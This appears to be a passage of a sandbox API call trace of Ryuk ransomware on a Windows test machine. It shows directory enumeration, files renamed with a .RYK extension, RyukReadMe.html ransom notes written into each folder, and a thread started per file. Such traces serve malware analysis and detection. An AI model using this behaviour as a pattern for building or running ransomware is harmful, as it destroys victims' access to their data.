	[0248.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0248.208] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.209] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1c4, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0248.209] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0248.209] SetLastError (dwErrCode=0x0) 
	[0248.209] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x46c
	[0248.209] GetLastError () returned 0xb7
	[0248.209] CloseHandle (hObject=0x46c) returned 1
	[0248.210] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.210] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.210] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0248.210] SetLastError (dwErrCode=0x0) 
	[0248.210] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.210] GetLastError () returned 0xb7
	[0248.210] CloseHandle (hObject=0x484) returned 1
	[0248.210] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0248.210] SetLastError (dwErrCode=0x0) 
	[0248.210] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.211] GetLastError () returned 0xb7
	[0248.211] CloseHandle (hObject=0x484) returned 1
	[0248.211] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0248.211] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.211] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0248.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0248.214] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.214] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0248.214] SetLastError (dwErrCode=0x0) 
	[0248.214] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.215] GetLastError () returned 0xb7
	[0248.215] CloseHandle (hObject=0x4cc) returned 1
	[0248.215] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0248.215] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.215] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.215] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0248.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0248.217] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.218] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0248.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0248.220] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.220] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0248.220] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0248.220] SetLastError (dwErrCode=0x0) 
	[0248.220] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.221] GetLastError () returned 0xb7
	[0248.221] CloseHandle (hObject=0x4cc) returned 1
	[0248.221] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.221] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.221] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0248.223] SetLastError (dwErrCode=0x0) 
	[0248.223] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.224] GetLastError () returned 0xb7
	[0248.224] CloseHandle (hObject=0x484) returned 1
	[0248.224] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.224] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.224] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0248.224] SetLastError (dwErrCode=0x0) 
	[0248.224] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0248.225] GetLastError () returned 0xb7
	[0248.225] CloseHandle (hObject=0x4d4) returned 1
	[0248.225] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0248.225] SetLastError (dwErrCode=0x0) 
	[0248.225] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0248.225] GetLastError () returned 0xb7
	[0248.225] CloseHandle (hObject=0x4d4) returned 1
	[0248.225] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0248.226] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.226] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0248.226] SetLastError (dwErrCode=0x0) 
	[0248.226] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0248.226] GetLastError () returned 0xb7
	[0248.226] CloseHandle (hObject=0x484) returned 1
	[0248.226] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0248.227] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.227] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0248.227] SetLastError (dwErrCode=0x0) 
	[0248.227] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.227] GetLastError () returned 0xb7
	[0248.227] CloseHandle (hObject=0x4cc) returned 1
	[0248.228] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0248.228] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.228] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0248.228] SetLastError (dwErrCode=0x0) 
	[0248.228] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc
	[0248.228] GetLastError () returned 0xb7
	[0248.228] CloseHandle (hObject=0x4dc) returned 1
